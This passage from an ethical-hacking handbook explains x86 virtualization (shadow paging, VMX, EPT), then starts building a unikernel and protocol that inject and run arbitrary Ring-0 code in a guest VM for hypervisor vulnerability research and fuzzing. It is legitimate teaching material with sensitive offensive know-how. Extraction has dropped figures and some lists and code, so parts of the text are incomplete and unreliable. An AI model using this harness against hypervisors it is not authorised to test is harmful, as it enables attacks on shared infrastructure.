(shadow) PDPT (shadow) PD (shadow) PT
(shadow) CR3
PD SPFN
(guest) PDPT SPFN read-only
PT SPFN
PDPT GVA
PD GPFN
PDPT GPFN
PT GPFN
SPA (MMU)
GPA
VA offset
Guests can read from their pseudo-page-tables directly. Also, MMU translations are
direct from GPAs to SPAs by the shadow page-tables, so there is no performance cost
there. On the other hand, handling page-table updates is complex and expensive for two
reasons. First, specialized interpreter routines (x86 emulator) are required for any poten-
tial instruction performing the update. Second, both pseudo-page-tables and shadow-
PART V
page-tables have to be kept synchronized. The minimum cost for every page-table update
is the cost of a trap into the VMM (as explained earlier, this cost can be reduced by adap-
tive binary translation).
Paravirtualization
We have seen that properly virtualizing the x86 architecture is complex and, in some cases,
slow. With the goals of simplifying hypervisor design and improving its performance,
some implementations took a different direction. Instead of simulating real hardware, a
synthetic interfaces are provided for communication and cooperation between VMs and
the VMM. Guest OS modifications are required to use these alternative interfaces.
One of the means paravirtualized guests have to communicate with the VMM is via
hypercalls. This is analogous to the concept of system calls used by user programs to
request services from the OS kernel, but in this case, it’s the guest requesting services
from the VMM. Hypercalls replace functionality usually offered by hardware compo-
nents such as the CPU, the MMU,21 hardware timers, and the interrupt controller, but
can also extend functionality with inter-VM notifications and shared memory support.
Gray Hat Hacking: The Ethical Hacker’s Handbook
480
Paravirtualized devices can substitute the emulated NIC and storage devices by replac-
ing them with a split driver model. Device backends run in the host (or in a privileged
VM) and their job is to manage system resources while offering a synthetic interface
(simpler and faster than an emulated hardware interface) to the guests. Frontend drivers
running in the guest communicate with backend devices. The basic transport layer for
this model can be built on top of the inter-VM communication facilities, usually based
on ring-buffers over shared memory.
Many aspects of paravirtualization remain, even after hardware-assisted virtualization
overcame many of the limitations that gave rise to it. Furthermore, the hypercall concept
has been incorporated into hardware (VMCALL22). Nowadays, most hypervisors offer
varying degrees of paravirtualization capabilities.
VMX
Intel introduced the Virtual Machine Extensions (VMX) instruction set, adding two new
processor execution modes: VMX root operation mode and VMX non-root operation
mode.23 Like in supervisor-mode, VMX root mode is where the VMM software runs,
whereas VMs run in VMX non-root mode. We must not confuse VMX operation modes
with ring levels; they are totally unrelated. Moreover, it is possible for a VM in VMX
non-root mode to execute code at any of the ring levels; thus, one of the limitations
solved by hardware virtualization extensions is ring compression.
CAUTION You might find some people talk about “Ring -1” (negative one).
What they actually mean is VMX root mode. VMX operation modes are
unrelated to ring levels, and referring to “Ring -1” only creates confusion.
A transition from root mode to non-root mode is called VM-Enter,24 while a transi-
tion from non-root mode to root mode is known as VM-Exit.25 We can think of the
latter as being similar to the software-invisible trap mechanism described in Goldberg’s
hardware virtualizer. With this new trap mechanism introduced by the VMX operation
modes, the VMM no longer needs to use the IDT for virtualization purposes but still
must use it to handle hardware exceptions and interrupts.
Chapter 23: Hypervisors 101
481
A data structure known as the virtual machine control structure (VMCS26) can be
accessed from VMX root mode. By manipulating this structure, the VMM can con-
trol many virtualization aspects, including VMX mode transitions behavior. Usually, a
VMCS is assigned to each virtual processor of every VM (a VM could have more than
one virtual processor), but each physical processor (or logical processor, taking SMT into
account) can only have one “current” VMCS.
VMCS fields can be classified in a few different groups that we will discuss.
PART V
VMCS Control Fields
The behavior of VMX non-root mode can be selectively controlled by a set of VMCS
control fields. Among other things, they allow you to:
VM-Exit Reasons
VM-Exits can be synchronous or asynchronous, with the latter originating from sources
such as external interrupts, or the VMX preemption timer. Synchronous VM-Exits are
caused by VM behavior, and they can be either conditional or unconditional. Only very
few instructions cause unconditional VM-Exits (CPUID is one of them), and the others
will cause a conditional VM-Exit depending on the VMCS configuration (control fields).
One would think that control-sensitive instructions will always cause VM-Exits, but
as we have seen, it is possible to give a VM access to system resources, so this is not
always true. The opposite can also happen: innocuous instructions like the spin-loop hint
instruction PAUSE can be set to cause a VM-Exit (to address the lock holder preemption
problem28). Other sensitive instructions can be either handled by the VMM (conditional
VM-Exit) or by the virtualization hardware directly. Finally, those unprivileged, sensitive
instructions we talked about earlier in this chapter can be properly handled now.
EPT
We have seen how shadow paging can be implemented on top of the existing paging
mechanism to virtualize the MMU. Shadow paging is complex, and page-table updates
are expensive; therefore, to improve this situation, a new hardware-assisted technology
known as Second Level Address Translation (SLAT) was developed. Intel implements
SLAT with Extended Page Tables (EPT29).
In a nutshell, EPT works like page-tables; the difference is that whereas page-tables
translate VAs to PAs, EPT translates GPAs to SPAs. The VMM running in VMX root
mode must set up and maintain a set of EPT multilevel page-tables, which are used to
translate GPAs to SPAs. The top-level EPT pointer (EPTP30) is stored in one of the
VMCS control fields.
From the guest perspective, we still use page-tables as usual to translate VAs to PAs; in
reality, those are GVAs and GPAs. To access a page, the CPU first walks the guest’s page-
tables to get a GPA from its GVA; then it walks the EPT tables (which are invisible to
the guest) to get a SPA from the GPA. If we remember Goldberg’s hardware virtualizer,
we could see page-tables as the ϕ-map and EPT as the f-map. A GVA-to-SPA translation
is done by the composed map “f ° ϕ.”
Keep in mind that when the CPU walks the guest’s multilevel page-tables, each level
(in long-mode: PML4, PDPT, PD, PT) points to the next one by its GPA, meaning
that each page-table level has to be translated by the EPT mechanism. This is known
as a “2-dimensional page walk,”31 and in the worst case (when every translation step
incurs in a cache miss) 24 memory loads are needed to translate a GVA. Even if address
Chapter 23: Hypervisors 101
483
translations can be more expensive than with shadow paging, the biggest advantage of
EPT is that page-table updates are direct, thus reducing the number of traps and simpli-
fying the VMM implementation.
GVA
EPTP (VMCS)
EPT PML4
EPT PDPT
EPT PD
EPT PT
f
SPA
Like with page-tables, EPT allows you to map an address to a nonexistent physical
page. An access attempt in this case will cause a VM-Exit. The basic-exit-reason for this
kind of trap is EPT-violation.32 Additionally, the exit qualification and guest physical
address fields are set.
In some cases, EPT might not be totally invisible to guests; for the sake of improving
performance, some EPT-related features can be exposed to VMs. One of these features
PART V
is the EPT-switching33 function (called with the VMFUNC instruction), which allows
a guest to switch its EPTP explicitly from a list of values established by the VMM.
Another important feature is Virtualization Exceptions (#VE34). As the name suggests,
the feature can be used to deliver virtualization-related exceptions to the guest via the
IDT vector 20. This feature can be used together with Convertible EPT Violations, so
when an EPT-violation happens, it doesn’t cause a VM-Exit. Instead, a #VE is delivered
to the guest to handle it, thus avoiding traps into the VMM.
Summary
In this chapter we looked at general virtualization concepts—going from theoretical
models to concrete implementations in the x86 architecture. We discussed some of the
initial limitations of the x86 architecture and the techniques employed to overcome
them. Finally, we covered both the evolution of hypervisor software and the x86 archi-
tecture itself, with the introduction of hardware virtualization extensions.
In the next chapter we will use this knowledge to map the attack surface for a wide
range of hypervisor implementations: from the ones supporting old x86 models, to
implementations taking advantage of current hardware capabilities and those including
paravirtualization support.
Gray Hat Hacking: The Ethical Hacker’s Handbook
484
References
1. “z/VM – A Brief Review of Its 40 Year History,” www.vm.ibm.com/vm40hist.pdf.
2. “VMware Timeline,” www.vmware.com/timeline.html.
3. Gerald J. Popek and Robert P. Goldberg, “Formal requirements for virtualizable
third generation architectures,” dl.acm.org/doi/10.1145/361011.361073.
4. U. Gagliardi and J. Buzen, “The evolution of virtual machine architecture,” www
.computer.org/csdl/proceedings-article/afips/1973/50810291/12OmNxGALa2.
5. R. P. Goldberg, “Architecture of virtual machines,” dl.acm.org/
doi/10.1145/800122.803950.
6. “Oracle VM VirtualBox,” www.virtualbox.org.
7. “Linux KVM,” www.linux-kvm.org.
8. “Xen Project,” xenproject.org.
9. “Hyper-V Technology Overview,” docs.microsoft.com/en-us/windows-server/
virtualization/hyper-v/hyper-v-technology-overview.
10. John Scott Robin and Cynthia E. Irvine, “Analysis of the Intel Pentium’s Ability
to Support a Secure Virtual Machine Monitor,” www.usenix.org/events/sec2000/
full_papers/robin/robin.pdf.
11. “Intel 64 and IA-32 Architectures Software Developer’s Manual, Volume 3:
System Programming Guide,” software.intel.com/content/dam/develop/external/
us/en/documents-tps/325384-sdm-vol-3abcd.pdf.
12. ibid.
13. K. Adams and O. Agesen, “A Comparison of Software and Hardware Techniques
for x86 Virtualization,” www.vmware.com/pdf/asplos235_adams.pdf.
14. O. Agesen, J. Mattson, R. Rugina, and J. Sheldon, “Software Techniques for
Avoiding Hardware Virtualization Exits,” www.usenix.org/system/files/conference/
atc12/atc12-final158.pdf.
15. “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3:
System Programming Guide,” op. cit.
16. “Kernel address space layout randomization,” lwn.net/Articles/569635/.
17. “UREDERF,” grsecurity.net/~spender/uderef.txt.
18. “Transient Execution Attacks,” github.com/IAIK/transientfail.
19. “The current state of kernel page-table isolation,” https://lwn.net/Articles/741878/.
20. “AMD64 Architecture Programmer’s Manual, Volume 2: System Programming,”
www.amd.com/system/files/TechDocs/24593.pdf.
Chapter 23: Hypervisors 101
485
21. “X86 Paravirtualised Memory Management,” wiki.xenproject.org/wiki/X86_
Paravirtualised_Memory_Management.
22. “Intel 64 and IA-32 Architectures Software Developer’s Manual, Volume 3:
System Programming Guide,” op. cit.
23. ibid.
24. ibid.
25. ibid.
26. ibid.
27. ibid.
28. J. Shan, X. Ding, and N. Gehani, “APLE: Addressing Lock Holder Preemption
Problem with High Efficiency,” ieeexplore.ieee.org/document/7396163.
29. “Intel 64 and IA-32 Architectures Software Developer’s Manual, Volume 3:
System Programming Guide,” op. cit.
30. ibid.
31. T. Merrifield and H. Taheri, “Performance Implications of Extended Page Tables
on Virtualized x86 Processors,” dl.acm.org/doi/abs/10.1145/2892242.2892258.
32. “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3:
System Programming Guide,” op. cit.
33. ibid.
34. ibid.
PART V
This page intentionally left blank
Creating a Research
Framework
CHAPTER
24
In this chapter, we cover the following topics:
• How to explore hypervisor functionality exposed to guests
• Development of a unikernel in C to execute arbitrary guest code
• Development of Python scripts that send custom code to the unikernel for
testing and fuzzing purposes
This chapter starts with a brief discussion of the hypervisor attack surface and then cov-
ers the development of a framework that we’ll use for vulnerability research purposes. To
follow along with the labs in this chapter, you’ll need an advanced level of knowledge of
the C and Python languages.
The code from this chapter is available at the book’s GitHub repository:
$ git clone https://github.com/GrayHatHacking/GHHv6.git
A Dockerfile provides the development environment needed to build and run the code:
$ cd GHHv6/ch24/
$ docker build -t kali .
The hypervisor we will work with in this chapter is KVM (the default in Linux),
which needs to be installed in the host. To use it from the container, you must redirect
the /dev/kvm device, like so:
$ docker run --device=/dev/kvm -it kali bash
Once inside the Docker container, you can find all the code in the /labs directory.
487
Gray Hat Hacking: The Ethical Hacker’s Handbook
488
of executing arbitrary guest code at Ring-0. This is the initial access level we will assume
for our research.
The virtualization stack is composed of multiple components, each running at differ-
ent privilege levels. The impact of a vulnerability will depend on the affected component.
In the best-case scenario, we can compromise the VMM (in VMX root-mode) directly
from an unprivileged guest. Alternatively, we could aim for kernel-mode execution
within the host or a privileged guest (root-partition/dom0), and in the worst case, we
still have the user-mode stack. Components interact with each other, so compromising a
less-privileged component can widen the attack surface, which can be further exploited
in a bug-chain across more privileged components.
The following illustrations are an overview of the attack surface exposed by the differ-
ent components of a Type-2 hypervisor and a Type-1 hypervisor.
Root-partition/dom0 VM
VMM OS kernel Worker process guest VM
NOTE Near the end of this chapter we will write a couple fuzzers that explore
EXIT_REASON_IO_INSTRUCTION, EXIT_REASON_MSR_READ, and
EXIT_REASON_MSR_WRITE.
Chapter 24: Creating a Research Framework
489
Aside from VM-Exit conditions, the attack surface can be also exposed by communica-
tion mechanisms based on shared memory—for example, direct memory access (DMA)
in emulated hardware devices, or buffers used by VMBus1 or VIRTIO.2 Unfortunately,
we won’t cover this topic in this chapter.
Finally, hypervisors not relying on hardware-assisted virtualization expose a larger
attack surface, but these are not common targets nowadays.
The Unikernel
As mentioned previously, we need to be capable of executing arbitrary Ring-0 code from
a guest VM. One way to do this is implementing a kernel driver to execute arbitrary code
in a general-purpose OS deployed in the VM. This approach has a couple problems,
though. First, a full OS is slow and bloated. Second, nondeterminism is introduced to
our testing environment by the multiple tasks that execute concurrently. To avoid these
issues, we will implement our own unikernel3 with the following requirements:
PART V
Our unikernel will communicate with external tools, enabling them to inject and
execute arbitrary code in the VM at Ring-0. We must be able to collect execution results
and send them back to the tools. In the following sections, we cover the development
process of this kernel.
To boot our kernel, we will use GRUB to avoid the trouble of writing our own boot-
loader. Typically, hypervisors support BIOS booting and/or UEFI. Fortunately, the grub-
mkrescue4 tool allows us to generate ISO media to boot from both.
Our kernel image will be an ELF file, with a Multiboot25 header placed at the start of
the code section. When GRUB boots the image, the environment it leaves us in is 32-bit
protected-mode; we want to use all the available processor features, so we must switch
to long-mode.
Gray Hat Hacking: The Ethical Hacker’s Handbook
490
Let’s begin our implementation with some bootstrap code that emits the Multiboot2
header and then switches to long-mode:
;; bootstrap.asm
extern kmain
global _start
[bits 32]
[section .bss]
align 0x1000
resb 0x2000
stack_top:
pd: resb 0x1000 * 4 ; 4 PDs = maps 4GB
pdpt: resb 0x1000 ; 1 PDPT
pml4: resb 0x1000 ; 1 PML
[section .data]
gdt: ; minimal 64-bit GDT
dq 0x0000000000000000
dq 0x00A09b000000ffff ; kernel CS
dq 0x00C093000000ffff ; kernel DS
gdt_end: ; TODO: TSS
gdtr:
dw gdt_end - gdt - 1 ; GDT limit
dq gdt ; GDT base
[section .text]
align 8, db 0
;; multiboot2 header
mb_header_size equ (mb_header_end - mb_header)
mb_header:❶
dd 0xE85250D6 ; magic field
dd 0 ; architecture field: i386 32-bit protected-mode
dd mb_header_size ; header length field
dd 0xffffffff & -(0xE85250D6 + mb_header_size) ; checksum field
;; termination tag
dw 0 ; tag type
dw 0 ; tag flags
dd 8 ; tag size
mb_header_end:
;; kernel code starts here
_start:❷
mov esp, stack_top
mov edi, pd
mov ecx, 512*4
mov eax, 0x87
init_pde:❸
mov dword [edi], eax
add eax, 0x200000
add edi, 8
dec ecx
jnz init_pde
mov dword [pdpt], pd + 7
mov dword [pdpt+0x08], pd + 0x1007
mov dword [pdpt+0x10], pd + 0x2007
mov dword [pdpt+0x18], pd + 0x3007
mov eax, pml4
mov dword [eax], pdpt + 7
mov cr3, eax ; load page-tables
mov ecx, 0xC0000080
rdmsr
or eax, 0x101 ; LME | SCE
wrmsr❹ ; set EFER
lgdt [gdtr]❺ ; load 64-bit GDT
mov eax, 0x1ba ; PVI | DE | PSE | PAE | PGE | PCE
Chapter 24: Creating a Research Framework
491
mov cr4, eax
mov eax, 0x8000003b ; PG | PE | MP | TS | ET | NE
mov cr0, eax❻
jmp 0x08:code64❼
[bits 64]
code64:
mov ax, 0x10
mov ds, ax
mov es, ax
mov ss, ax
call kmain
The .text section begins with the directives to emit a minimal Multiboot2 header ❶.
At the entry point ❷, an 8KB stack is set, and a 1:1 mapping of the first 4GB of memory
is created ❸. The subsequent steps involve setting the Long Mode Enable flag in the
EFER register ❹, loading a 64-bit GDT ❺, enabling paging ❻, and jumping into long-
mode ❼. The code ends with a call to the not-yet-implemented function kmain.
For communication between our kernel and the outside world, we can use a simple and
widely available device: the serial port. Most hypervisors implement serial port emulation,
and they usually allow it to be forwarded to IPC mechanisms in the host, such as sockets
or pipes. Let’s get “hands on” and add some basic serial port support to our kernel:
/* common.c */
static uint16_t SerialPort = 0x3f8; /* TODO: set it dynamically */
static void outb(uint16_t port, uint8_t val) {
__asm__ __volatile__("outb %0, %1" :: "a"(val), "Nd"(port));❶
}
static uint8_t inb(uint16_t port) {
uint8_t ret;
__asm__ __volatile__("inb %1, %0" : "=a"(ret) : "Nd"(port));❷
return ret;
}
PART V
void setup_serial() {❸
outb(SerialPort + 1, 0x00); /* disable interrupts */
outb(SerialPort + 3, 0x80); /* enable DLAB */
outb(SerialPort + 0, 0x01); /* divisor low=1(115200 baud) */
outb(SerialPort + 1, 0x00); /* divisor high=0 */
outb(SerialPort + 3, 0x03); /* 8-bit, no parity, 1 stop bit */
outb(SerialPort + 2, 0xC7); /* FIFO, clear, 14-byte threshold */
outb(SerialPort + 4, 0x03); /* DTR/RTS */
}
void write_serial(const void *data, unsigned long len) {❹
const uint8_t *ptr = data;
while (len) {
if (!(inb(SerialPort + 5) & 0x20))
continue;
len -= 1;
outb(SerialPort, *ptr++);
}
}
void read_serial(void *data, unsigned long len) {❺
uint8_t *ptr = data;
while (len) {
if (!(inb(SerialPort + 5) & 1))
continue; /* TODO: yield CPU */
len -= 1;
*ptr++ = inb(SerialPort);
}
}
Gray Hat Hacking: The Ethical Hacker’s Handbook
492
First, we write a couple of wrappers, for OUTB ❶ and INB ❷, needed by the rest
of the code. The setup_serial ❸ function can be used to initialize the serial port at a
typical baud speed of 115200. We implement write_serial ❹ to transmit a data stream
from memory, and we implement read_serial ❺ to receive it. Our implementation has
some deficiencies, such as the spin-wait for the serial port to be ready, but let’s keep
things simple.
Now we can implement kmain to test our kernel:
/* main.c */
void kmain() {
setup_serial();
write_serial("Hello world!", 12);
__asm__ __volatile__("hlt");
}
After building the kernel, we will conduct our testing in QEMU/KVM. If everything
goes well, we should see a “Hello world!” message:
┌──(root ghh6)-[/labs/lab1]
└─# make
… omitted for brevity …
┌──(root ghh6)-[/labs/lab1]
└─# qemu-system-x86_64 -display none -boot d -cdrom kernel_bios.iso -m 300M
-serial stdio -enable-kvm
Hello world!
Now we can start working on the protocol to communicate with external tools (from
now we will refer to them as clients). Let’s start with a brief discussion of the protocol
requirements:
• The kernel must process requests from the client to store and execute arbitrary
code.
• The kernel must send a response with results from the execution of arbitrary code.
• Communication is initiated by the kernel. It must let the client know that
it is ready to process requests, and it should provide information about its
execution environment.
• The kernel can send out-of-band (OOB) messages for debugging purposes.
• A message’s integrity must be verified.
Based on these requirements, we will denote the following message types: request,
reply, boot messages, and OOB messages. Messages will be composed of a fixed-
sized header and a variable-sized body. The header will indicate the type of message
Chapter 24: Creating a Research Framework
493
and body length, and it will include integrity checksums for the message’s body and
header itself:
/* protocol.h */
typedef enum {
MTBoot = UINT32_C(0), MTRequest, MTReply, MTOOB, MTMax = MTOOB
} MT;❶
#define MAX_MSGSZ UINT32_C(0x400000) /* 4MB */
typedef struct {
MT type;
uint32_t len;❷
uint32_t checksum;❸ /* body CRC32 */
uint32_t hdr_csum;❹ /* header CRC32 */
} __attribute__((packed)) MsgHdr;
The MT ❶ enumeration represents the different message types that can be encoded
in the type field of the message’s header. The rest of the header contains the length ❷,
in bytes, of the body (less than MAX_MSGSZ), the checksum of the body’s contents ❸,
and the checksum of the header’s contents, excluding the contents of the hdr_csum field
itself ❹.
The format of a message’s body has to be flexible enough to encode the most common
data structures, while at the same time, the serialization and deserialization processes
have to be kept simple. It needs to be easy to produce data from arbitrary code, and it
should be easy for a client to consume and work with this data, too. To fulfill those needs,
we will define an encoding that encompasses values of the following types: integers,
arrays, strings, and lists.
typedef enum {
/* primitive sizes encoded in LSB */
UInt8 = UINT32_C(0x001), UInt16 = UINT32_C(0x002),
PART V
UInt32 = UINT32_C(0x004), UInt64 = UINT32_C(0x008),
Int8 = UINT32_C(0x101), Int16 = UINT32_C(0x102),
Int32 = UINT32_C(0x104), Int64 = UINT32_C(0x108),
PrimitiveMax = Int64,❸
/* Compound types */
Array = UINT32_C(0x400),❹
CString = UINT32_C(0x500),❺
List = UINT32_C(0x600),❻
Nil = UINT32_C(0x700)❼
} TP;❶
typedef union {
uint8_t u8; uint16_t u16; uint32_t u32; uint64_t u64;
int8_t i8; int16_t i16; int32_t i32; int64_t i64;
} Primitive_t;❷
Every value starts with a 32-bit prefix defined in the TP ❶ enumeration. Primitives
can be any of the integer types defined in the Primitive_t ❷ union. These are encoded
as a TP prefix (below or equal to PrimitiveMax ❸), followed by the value in its native
encoding. Compound types can be arrays, strings, and lists.
Arrays start with the Array ❹ prefix followed by an Array_t header:
typedef struct {
uint32_t count;
TP subtype;
} __attribute__((packed)) Array_t;
Gray Hat Hacking: The Ethical Hacker’s Handbook
494
This header indicates the number of elements and their subtype, which is constrained
to primitive types. After the header are the elements’ values in their native encoding.
Strings are composed of a CString ❺ prefix, followed by a variable number of non-
null bytes and delimited by a null byte suffix.
Lists start with a List ❻ prefix followed by a variable number of nodes. Each node is
a pair where its first element can be any TP-prefixed value (including other lists) and its
second element is the next node of the list. A node prefixed with Nil ❼ indicates the end
of the list.
With the message’s definitions in place, we can start working on the implementation:
/* protocol.c */
struct msg_buffer {
unsigned int offset;
uint8_t buf[MAX_MSGSZ];
};
static struct msg_buffer send_buf;❶
static struct msg_buffer oob_buf;❸
static struct msg_buffer recv_buf;❷
#define PUT(b, v) ({ \
typeof((typeof(v))v) tmp;❹ \
unsigned int new_offset = b->offset + sizeof(v); \
assert(new_offset > b->offset && MAX_MSGSZ > new_offset); \
*(typeof(tmp) *)&b->buf[b->offset] = v;❺ \
b->offset = new_offset; \
})
#define GET(v) ({ \
unsigned int new_offset = recv_buf.offset + sizeof(v); \
assert(new_offset > recv_buf.offset && MAX_MSGSZ > new_offset); \
v = *(typeof(v) *)&recv_buf.buf[recv_buf.offset]; \
recv_buf.offset = new_offset; \
})
First, we need a buffer (send_buf ❶) to construct the message’s body before sending it,
and we need one for incoming messages ❷. We also define an extra buffer ❸ exclusively
for OOB messages, so if we send debug messages in the middle of constructing a message,
we don’t trash the contents of send_buf.
We define a couple macros to copy data to and from the buffers: GET copies a value
from the receive buffer, while PUT copies a value to the target buffer indicated by its first
parameter (we will pass either send_buf or oob_buf). The PUT macro takes a few extra
steps involving the double use of typeof to define the tmp ❹ variable. Note that typeof
accepts either a variable or an expression at the outer typeof. We use the latter: a cast of
the variable to its own type. The reason is that the result of an expression is an rvalue, so
if the original variable has a const qualifier, it will get dropped. This way, assignment at
❺ will type-check when we pass a const variable to PUT.
Now we can start writing “put” and “get” functions for each of the TP values we
defined:
void put_tp(bool is_oob, TP prefix) {
struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf;
PUT(buf, prefix);
}
Chapter 24: Creating a Research Framework
495
void put_primitive(bool is_oob, TP prefix, const Primitive_t *value) {
struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf;
assert(PrimitiveMax >= prefix);
put_tp(is_oob, prefix);
switch (prefix) {
case UInt8:
PUT(buf, value->u8); break;
case UInt16:
PUT(buf, value->u16); break;
… omitted for brevity …
case Int64:
PUT(buf, value->i64); break;
}
}
void put_array(bool is_oob, const Array_t *array, const void *data) {
struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf;
uint32_t len = 0;
put_tp(is_oob, Array);
PUT(buf, *array);
while (array->count * (array->subtype & 0xff) != len)
PUT(buf, ((const char *)data)[len++]);
}
void put_cstring(bool is_oob, const char *ptr) {
struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf;
put_tp(is_oob, CString);
do { PUT(buf, *ptr); } while (*ptr++ != '\0');
}
static void _put_va(bool is_oob, TP prefix, va_list args) {
if (PrimitiveMax >= prefix) {
Primitive_t value = va_arg(args, Primitive_t);
put_primitive(is_oob, prefix, &value);
}
if (List == prefix) {
put_tp(is_oob, prefix);
do {
PART V
prefix = va_arg(args, TP);
_put_va(is_oob, prefix, args);
} while (Nil != prefix);
put_tp(is_oob, prefix);
}
if (Array == prefix) {
Array_t *a = va_arg(args, Array_t *);
put_array(is_oob, a, va_arg(args, const void *));
}
if (CString == prefix)
put_cstring(is_oob, va_arg(args, const char *));
}
void put_va(bool is_oob, ...) {❶
va_list ap;
va_start(ap, is_oob);
TP prefix = va_arg(ap, TP);
_put_va(is_oob, prefix, ap);
va_end(ap);
}
NOTE The “get” functions were omitted from the code listing for brevity
reasons.
Gray Hat Hacking: The Ethical Hacker’s Handbook
496
The first argument for all the “put” functions indicates whether the data should be
written to send_buf or to oob_buf. Data is encoded following the schema described
when defining the different TP values. For convenience, we also implemented a variadic
function ❶ that combines multiple values of different types into a single call.
Now, we need the functions to send and receive messages:
void send_msg(MT msg_type) {❶
struct msg_buffer *buf = (MTOOB == msg_type) ? &oob_buf : &send_buf;
MsgHdr hdr = {
.type = msg_type, .len = buf->offset,
.checksum = crc32(buf->buf, buf->offset), .hdr_csum = 0
};
hdr.hdr_csum = crc32(&hdr, sizeof(hdr) - sizeof(hdr.hdr_csum));
write_serial(&hdr, sizeof(hdr));
write_serial(buf->buf, buf->offset);
buf->offset = 0;
}
static bool msg_hdr_valid(const MsgHdr *hdr) {
return MTRequest == hdr->type && MAX_MSGSZ > hdr->len &&
crc32(hdr, sizeof(*hdr) - sizeof(hdr->hdr_csum)) == hdr->hdr_csum;
}
void recv_msg() {❷
MsgHdr hdr;
read_serial(&hdr, sizeof(hdr));
assert(msg_hdr_valid(&hdr));
recv_buf.offset = 0;
read_serial(recv_buf.buf, hdr.len);
assert(crc32(recv_buf.buf, hdr.len) == hdr.checksum);
}
The send_msg ❶ function takes the message’s type as an argument that is first used
to select the right buffer to read the message’s body. It calculates the body and header’s
checksums (crc32) and sends the message over the serial port. Lastly, it resets the buffer
offset so the next message can be constructed.
To get a message, recv_msg ❷ reads the message’s header from the serial port. Before
going further, it performs validation checks on the header’s type, length, and checksum
fields. Once these checks are passed, it reads the message’s body and validates its check-
sum. We assume that the client will never send malformed messages, so if a validation
check fails, it is a consequence of kernel state corruption, which is an unrecoverable
condition, and we must reboot.
NOTE The code listings for the crc32 and assert functions were omitted
for brevity reasons. The crc32 function implements CRC32-C (polynomial
0x11EDC6F41), while the assert implementation sends an OOB message
and hard-resets by triple-faulting.
Let’s test the protocol implementation by constructing and sending an OOB message:
/* protocol.h */
typedef enum {OOBPrint = UINT32_C(0), OOBAssert} OOBType;❶
#define LIST(...) List, __VA_ARGS__, Nil
#define PUT_LIST(is_oob, ...) (put_va(is_oob, LIST(__VA_ARGS__)))
#define OOB_PRINT(fmt, ...) ({❷ \
PUT_LIST(true, UInt32, OOBPrint, CString, fmt, __VA_ARGS__); \
send_msg(MTOOB); \
})
Chapter 24: Creating a Research Framework
497
The OOBType ❶ enumeration defines two types of OOB messages: OOBPrint and
OOBAssert. The body of an OOB message is a List, where the first element is the
OOBType. The OOB_PRINT ❷ macro builds this list over the arguments passed to it,
prepending the OOBPrint value, and adding the CString prefix to the first argument
that corresponds to a format string. Finally, the macro sends the OOB message over the
serial port. Note that this macro can’t infer types from the format string, so we have to
pass the TP values as arguments.
We can now replace our “Hello world” message by a call to OOB_PRINT:
/* main.c */
void kmain() {
setup_serial();
OOB_PRINT("kmain at 0x%016lx", UInt64, &kmain);
__asm__ __volatile__("hlt");
}
Let’s take a look at the message’s data by redirecting the output to hexdump (don’t
forget to run make to build the kernel in each lab):
┌──(root ghh6)-[/labs/lab2]
└─# qemu-system-x86_64 -display none -boot d -cdrom kernel_bios.iso -m 300M
-serial stdio -enable-kvm | stdbuf -o0 hexdump -C | cut -d' ' -f3-
03 00 00 00 32 00 00 00 2f c9 e1 6a 3a 37 16 e8 |....2.../..j:7..|
00 06 00 00 04 00 00 00 00 00 00 00 00 05 00 00 |................|
6b 6d 61 69 6e 20 61 74 20 30 78 25 30 31 36 6c |kmain at 0x%016l|
78 00 08 00 00 00 35 14 40 00 00 00 00 00 00 07 |x.....5.@.......|
An obvious fact we can see from this output is that OOB_PRINT doesn’t perform
string formatting. Our kernel won’t do any work that could be done by the client!
PART V
Boot Message Implementation
One of our protocol requirements is that communication has to be initiated by the kernel,
sending information about its execution environment to the client. We will fulfill this
requirement by implementing a “boot message” that provides the following information:
• Physical address space (from the point of view of the kernel running in a VM).
• Kernel addresses (symbols). This serves two purposes. The first is to let the
client know where the kernel is loaded so it won’t overwrite it accidentally when
injecting code. The second is to provide addresses of known kernel functions that
can be used by external code.
The boot message’s information will be encoded in an associative list, where the first
element of every pair is an identification string for the contents of the second element.
The layout of the second element is specific to the kind of information provided (gener-
ally encoded as a sub-list). In this case, we will use the strings “symbols” and “mmap” to
tag information.
Gray Hat Hacking: The Ethical Hacker’s Handbook
498
Constructing the “symbols” is straightforward; we just make them an associative list
of symbol names and their addresses:
#define NAMED(n, t, v) LIST(CString, n, t, v)
#define SYMBOL(n) NAMED(#n, UInt64, &n)
extern char __ehdr_start, _end;
static void put_symbols() {
PUT_LIST(false, CString, "symbols",
LIST(SYMBOL(__ehdr_start), SYMBOL(_end),
SYMBOL(put_va), SYMBOL(send_msg)));
}
In this case, we provide the addresses of the kernel’s ELF header, the end of the BSS
segment, and the put_va and send_msg functions.
To construct the “mmap,” we will modify the bootstrap code to take advantage of the
multiboot info (MBI) area provided by GRUB:
[bits 64]
code64:
… omitted for brevity …
mov rdi, rbx ; MULTIBOOT_MBI_REGISTER
call kmain
The kmain definition has to be adapted to take the MBI as an argument. We will also
add the code that constructs and sends the boot message:
void kmain(const void *mbi) {
setup_serial();
OOB_PRINT("kmain at 0x%016lx", UInt64, &kmain);
put_tp(false, List);
put_symbols();
put_mbi(mbi);
put_tp(false, Nil);
send_msg(MTBoot);
The last piece is the put_mbi function to parse the MBI and construct the “mmap”:
#include "multiboot2.h"
#define PTR_ADD(a, s) ((typeof(a))((unsigned long)a + s))
#define ALIGN_UP(a, s) ((a + (typeof(a))s - 1) & ~((typeof(a))s - 1))
NOTE To walk the MBI, we need definitions from the “multiboot2.h” file
provided by GRUB.
Handling Requests
PART V
Executing arbitrary code involves two operations: writing binary code into the guest’s
memory and redirecting execution flow to this memory area. We will define a request as
a list of operations of any of these two kinds. The kernel will process a request by iterating
this list and applying every operation sequentially.
typedef enum {OpWrite = UINT32_C(0), OpExec} OpType;
Every operation takes two or more elements from the list: an OpType and the opera-
tion parameters.
static void op_write() {❸
Primitive_t addr;
Array_t array;
uint8_t *payload;
get_va(UInt64, &addr);
get_va(Array, &array, &payload);
for (uint32_t x = 0; x != array.count * (array.subtype & 0xff); x += 1)
((uint8_t *)addr.u64)[x] = payload[x];
}
static void op_exec() {❹
Primitive_t addr;
get_va(UInt64, &addr);
((void (*)())addr.u64)();
Gray Hat Hacking: The Ethical Hacker’s Handbook
500
}
void kmain(const void *mbi) {
… omitted for brevity …
